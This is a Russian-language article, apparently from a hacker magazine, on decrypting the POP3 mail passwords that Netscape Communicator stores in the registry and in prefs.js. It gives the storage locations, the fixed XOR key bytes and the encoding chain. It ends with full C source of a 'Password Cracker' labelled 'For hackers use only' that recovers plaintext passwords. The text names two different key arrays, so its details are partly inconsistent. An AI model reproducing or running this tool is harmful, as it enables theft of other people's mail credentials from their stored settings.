После прочтения
,возможно, ты больше захочешь юзать продукцию
доблестной фирмы Netscape, но не забывай,что мы уже
писали о взломах зае...тьфу...The Bat!`a и M$ Outглюка, так
что пора поставить какой-нибудь отстойный, но
неглючный мэйлер...

В данной статье рассматриваются
алгоритмы шифрования/дешифрования паролей для
почтового сервера (pop3:110) в весьма популярном
браузере Netscape Communicator. Cуществует возможность
получения настроек пользователя через браузер.
Среди них и пароль пользователя для почтового
сервера. Эти настройки хранятся в файлах *.js (в
MustDie9x - prefs.js, liprefs.js, а в Linux - preferences.js). Кроме того, в
Windows-версии настройки юзверя также хранятся в
реестре:

[HKEY_CURRENT_USER\Software\Netscape\Netscape
Navigator\biff\users\<юзвер>\servers\<сервер>]
"password"="зашифрованный_пароль1"

В файлах настроек *.js пароль лежит в
таком виде:

user_pref("mail.pop_password","зашифрованный_пароль2");

Алгоритмы шифрования в первом и
втором случае (в реестре и в файле *.js) слегка
отличаются. Для реестра этот алгоритм можно
изобразить, например, так:

1) pass --> XOR(key) --> Base64_encode --> ROT13 -->
Reverse --> encrypted_pass

или так:

encrypted_pass = Reverse(ROT13(Base64_encode(XOR(pass,key))));

Для второго случая этот алгоритм
значительно проще:

2) pass --> XOR(key) --> Base64_encode --> encrypted_pass

или

encrypted_pass = Base64_encode(XOR(pass,key));

где XOR - последовательный xor по ключу
key; XOR - это алгоритм с массивом элементов: 035h, 09Ah,
0A6h, 053h, 0A9h, 0D4h, 06Ah. Каждому символу пароля
соответствует один элемент массива для шифровки,
то есть максимальная длина пасворда - 8 символов.
ROT13 - кодирование на основании циклического
сдвига латинского алфавита на 13 символов;
Reverse - реверсирование строки; Base64_encode -
кодирование MIME (см. RFC2045). Что касается ключа, по
которому XOR-ится пароль, он фиксирован и
представляет собой такую последовательность
байт (в 16-ричной(HEX) системе счисления): 

56, C9, EF, 4A, 9B, BE, 5A, 42, ...

На самом деле это только первые 8
байт ключа, продолжение его можно легко найти,
имея зашифрованный пароль длиной более 8
символов. Правда, такие пароли встречаются
довольно редко.

Для дешифрования используются те же
алгоритмы, что и для шифрования,только в обратном
порядке, за исключением Base64_encode, вместо которого
используется алгоритм декодирования Base64:

1) pass = Reverse(ROT13(Base64_decode(XOR(encrypted_pass,key))));

2) pass = Base64_decode(XOR(encrypted_pass,key));

Ниже приводится исходник программы
на C, позволяющая расшифровать пароль в обоих
случаях (из реестра и из файлов настроек *.js).

/*
* Netscape Communicator vX.X Password Cracker
* Let`s go Hack this SUX!!
*
* For hackers use only.
*/

#include <stdio.h>
#include <stdlib.h>

char p[12], dp[9],
key[] = { 0x56, 0xc9, 0xef, 0x4a, 0x9b, 0xbe, 0x5a, 0x42 };

char *
rot13 (char *str)
{
int i;
char c, s;
for(i=0;i<strlen(str);i++)
{
c=str[i];
if (c>='a' && c<='z') s='a';
else if (c>='A' && c<='Z') s='A';
else s=0;
if(s>0) c=(c-s+13)%26;
str[i]=c+s;
}
return str;
}

char *
strrev(char *ptr)
{
int i,l;
char t;
l = strlen(ptr)-1;
for(i=0;i<=l>>1;i++)
{
t = ptr[i];
ptr[i] = ptr[l-i];
ptr[l-i] = t;
}
return ptr;
}

int
cvt_ascii( unsigned char a )
{
if ( (a >= 'A') && (a <= 'Z') ) return (int)(a - 'A');
else if ( (a >= 'a') && (a <= 'z') )
return 26 + (int)(a - 'a');
else if ( (a >= '0') && (a <= '9' ) )
return 52 + (int)(a - '0');
else if ( a == '+' ) return 62;
else if ( a == '/' ) return 63;
else if ( a == '=' ) return -2;
else return -1;
}

int
base64_decode (char *buf, char *dest)
{
int i, sh=0, ds=0, offs=0;
unsigned char bv;
unsigned long ac=0, vl;

for (i = 0; (buf[i] != '\n') && (buf[i] != '\0') && (ds >= 0); i++ )
{
if (((buf[i] >= 'A') && (buf[i] <= 'Z') ) ||
((buf[i] >= 'a') && (buf[i] <= 'z') ) ||
((buf[i] >= '0') && (buf[i] <= '9') ) ||
(buf[i] == '+') ||
(buf[i] == '/') ||
(buf[i] == '=') )
ds = 1;
else
ds = -2;
}
if ( ds <= 0 ) ds = 0;
for (i = 0; (buf[i] != '\n') && (buf[i] != '\0'); i++)
{
vl = cvt_ascii( buf[i] );
if ( vl < 64 ) {
ac <<= 6;
sh += 6;
ac |= vl;
if ( sh >= 8 ) {
sh -= 8;
vl = ac >> sh;
bv = (unsigned char)vl & 0xFFl;
*(dest+offs) = bv;
offs++;
}
}
else break;
}
return offs;
}

void main()
{
int i, cn;
printf("Netscape Communicator Password Cracker \n");
printf("Encrypted password: ");
scanf("%12s", p);
if(*p=='=')
rot13(strrev(p));
cn = base64_decode(p, dp);
for(i=0;i<cn;i++)
dp[i] ^= key[i%8];
printf("Password: '%s'\n", dp);
}

Стоит отметить, что автор проги Elli0t.
Все вышеизложенное проверялось на версиях 4.5 и
4.08, но должно работать и на других версиях

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии